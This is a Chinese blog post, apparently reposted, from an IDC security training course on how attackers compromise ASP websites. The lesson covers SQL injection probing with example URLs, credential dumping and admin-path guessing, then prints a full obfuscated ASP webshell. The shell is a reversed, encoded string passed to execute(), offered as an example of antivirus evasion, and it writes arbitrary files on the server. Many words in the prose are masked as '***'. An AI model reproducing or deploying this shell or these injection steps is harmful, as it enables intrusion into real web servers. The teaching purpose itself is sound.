红盟idc技术培训群—安全培训（一）

最新推荐文章于 2024-07-03 10:19:44 发布

weixin_34104341

最新推荐文章于 2024-07-03 10:19:44 发布

阅读量332

点赞数

原文链接：http://blog.51cto.com/25025/897210

版权

今天这次是我们群的第一堂课,培训的内容包括网站安全，FTP安全，数据库安全，139或445端口安全，3389管理安全。
针对WIN 2003的安全培训全部结束之后我们会推出针对LINUX的安全课程,然后还包括服务器的日常管理应该建立一个怎样的体系,怎么来规

范化管理，防止***利用管理员的管理不当来进行***,还包括对注册表安全分析，系统进程分析,系统服务分析,系统策略分析,系统日志分析,

权限分配体系的建立,到一些***程序的分析,包括一些WEB***，网页病毒,数据库***,应用程序***,系统内核级***,还有一些ARP欺骗，ARP

***分析等,这些都会安排在我们培训课程当中,我们安排这些培训就是为了帮助各位IDC技术的朋友们做好你们服务器的安全管理,以保障客户

网站和服务器的安全稳定运行,提升你们公司对客户的服务品质。
今天讲的内容是《网站***手段及如何保障网站安全》,我们大家都知道，现在90%以上的***对服务器的***都是通过80端口的WEB服务来

的,那为什么对于网站***的比率会这么高呢?SQL注入只是WEB***的一种方法，为什么对于网站***的比率会这么高呢？

表面原因是网站存在各种各样的安全漏洞，实质的原因是什么呢？是网站应用的广泛，网站应用的普及势必会有更多的网站程序员被培养

出来，网站程序员一多起来之后，又没有一些良好的代码规划体系，所以很多存在各种各样漏洞的网站就被开发出来了，说的简单点就是做网

站的客户越来越多，一些企业需要网站，电子商务公司需要网站，视频公司需要网站，游戏公司需要网站，哪怕是一些个人站长也都会搞一些

网站，所以网站泛滥了，漏洞自然就多了。

那网站有了漏洞，那大家知道***是怎么来利用这些网站来进行***的呢？工具软件是配合***来***的，我们要做好网站的防御工作，

就肯定要知道***都用了哪些技术手段，这样才好做好防御的工作，那现在我们就来跟大家分析一下***对网站的***手段。

网站***手段当中***最常用的手段就是注入***，讲到注入***，很多以为就只是利用注入点列出数据库内容，然后通过后台上传

WEBSHELL，但实际上这只是***注入点***的一个很小的手段，今天我们就把这些***的各种注入点***手段都公之于众，注入***当中，最

初级的方法是ASP+ACCESS的注入***技术，ASP+ACCESS指的是ASP的网站，ACCESS的数据库，通常***对网站进行注入，会用一些手工的方法来

判断，比如在一些http://www.xxx.com/list.asp?id=1这样的网址后面加上一个单引号http://www.xxx.com/list.asp?id=1'
如果打开URL地址，发现返回错误信息之后，就八成是有注入漏洞了，为了进一步确认，***会用and 1=1和and 1=2的方式来判断
http://www.xxx.com/list.asp?id=1 and 1=1
http://www.xxx.com/list.asp?id=1 and 1=2
只要这两次打开URL地址的页面返回的结果不一样，那可以确定网站是存在注入漏洞了，***为了简便一些注入漏洞的判断，于是写了一些包括

明小子，阿D，NBSI等注入工具来辅助***判断，而且这些工具当中也都加入了更多***的功能了，这个是SQL注入的一种。

***在拿到注入点之后，就会手工或者通过工具来列出数据库的内容，那我想很多人要问了，***列数据库的内容有什么用？能实现***

吗？作用其实还蛮大的，首先，很多网站都是有后台管理功能的
一般后台管理功能的账号和密码都存在数据库里面，所以***就要想办法列出数据库的账号和密码信息
，很多后台账号和密码是明文的，也有一部分是加密的，加密大部分都采取了MD5加密的方式，但是很多管理员设置得比较简单，用暴力破解法

就能破解出来，拿到这些信息之后，***就会想办法找到一些网站的后台的登录地址，很多网站后台的登录地址都比较容易猜
比如http://www.1.com/admin/admin.asp
http://www.1.com/admin/manage.asp
http://www.1.com/guanli/index.asp
等等，***工具当中的猜解后台登录地址的功能中都加入了这些可能被设置的URL地址，那***拿到后台登录地址之后，就可以很从容的输入账

号和密码登录进去了。

那***登录网站后台又能有什么作用呢？不是还没达到***网站的目的吗？我们如果有管理网站的人应该知道，很多网站后台系统里面都

有一些上传图片，备份数据库的功能，正是这些功能给了***很多机会，***可以很轻松的利用上传图片的功能上传一个ASP***程序，由于不

同网站程序都会有相应的***，如ASP***，ASP.NET***，PHP***，JSP***，所以我们统称为WEB***，最经典的是海阳顶端***，ASP***

就是用ASP语言编写的网站管理程序，其实前些年，很多网站都会用ASP管理程序来管理网站，但后面有了FTP管理工具之后就很少有人用了，那

这样管理功能的网站程序就会***利用了，群共享里面有个hh.asp的文件，现在杀毒软件都会查杀ASP***的，这个只是ASP***当中最普通的

一个。
在***技术当中，他们都把这种逃过杀毒软件查杀的技术叫“免杀”，***做免杀处理的方法有很多种，我再给大家看一种***对ASP***

做的免杀处理的代码，大家看看这个文件

<%
hu="伟"">p/<>b/<>tnof/<．．．你爱我声说你对再想多我:琳>'der'=roloc '4'=ezis tnof<>b<>'retnec'=ngila p<"" etirw.esnopseR 伟

"">p/<>b/<>tnof/<......骗你被边身你在呆会是还我,遍一择选再以可果如,全完不烧燃却念思的你对何为,前从段一那出漫弥,脸的你出漫弥

却雾烟但, 眠失而你想了为再不誓发, 烟根这完抽的狠狠,现出未从远永的你起想, 烟香色白根一燃点,边沿床的色蓝蔚在坐我剩只,间房进洒色

月帘窗吹风,见再说不是就歉抱句多好了说你, 天雨下个一那的手分起想,间之我你起想点三晨凌>'der'=roloc '4'=ezis

tnof<>b<>'retnec'=ngila p<"" etirw.esnopseR 伟 "">mrof/<"" etirw.esnopseR 伟 "">存保=eulav timbus=epyt tupni<""

etirw.esnopseR 伟 "">aeratxet/<>23=htdiw 01=swor 08=sloc ataddfyc=eman aeratxet<"" etirw.esnopseR 伟 "":容内的马入输""

etirw.esnopseR 伟 "">rb<"" etirw.esnopseR 伟 ))""EMAN_TPIRCS""(selbairaVrevreS.tseuqeR(htappam.revres etirw.esnopseR 伟 ""径

路对绝件文本"" etirw.esnopseR 伟 "">rb<"" etirW.esnopseR 伟 "">05=ezis 23=htdiw htapdfys=eman txet=epyt tupni<""

etirW.esnopseR 伟 "">tnof/<:)psa.x\bew\:D如:名件文括包(径路对绝>der=roloc tnof<的件文存保"" etirw.esnopseR 伟 "">tsop=dohtem

''=noitca mrof<"" etirw.esnopseR 伟 gnihtoN = OSFjbo teS 伟 gnihtoN=eliFtnuoCjbo teS 伟 esolC.eliFtnuoCjbo 伟 fi dne 伟

raelc.rre 伟 fi dne 伟 "">tnof/<!sseccuSnU evaS>der=roloc tnof<"" etirw.esnopser 伟 esle 伟 "">tnof/<!sseccuS evas>der=roloc

tnof<"" etirw.esnopser 伟 neht 0= rre fi 伟 atadf etirW.eliFtnuoCjbo 伟 )eurT,)""htapdfys""(tseuqer

(eliFtxeTetaerC.OSFjbo=eliFtnuoCjbo teS 伟 )""ataddfyc""(tseuqer = atadf 伟 neht """"><))""htapdfys""(tseuqer(mirT fi 伟

)""tcejbOmetsySeliF.gnitpircS""(tcejbOetaerC.revreS = OSFjbo teS 伟 txen emuser rorre no 伟 eliFtnuoCjbo mid 伟 atadf mid 伟

OSFjbo mid伟"
execute(UnEncode(hu))
function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<> "伟" then
temp = Mid(cc,

i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
%>

大家看看这段代码

<"" etirw.esnopseR 伟 "">aeratxet/<>23=htdiw 01=swor 08=sloc ataddfyc=eman aeratxet<"" etirw.esnopseR 伟 "":容内的马入输""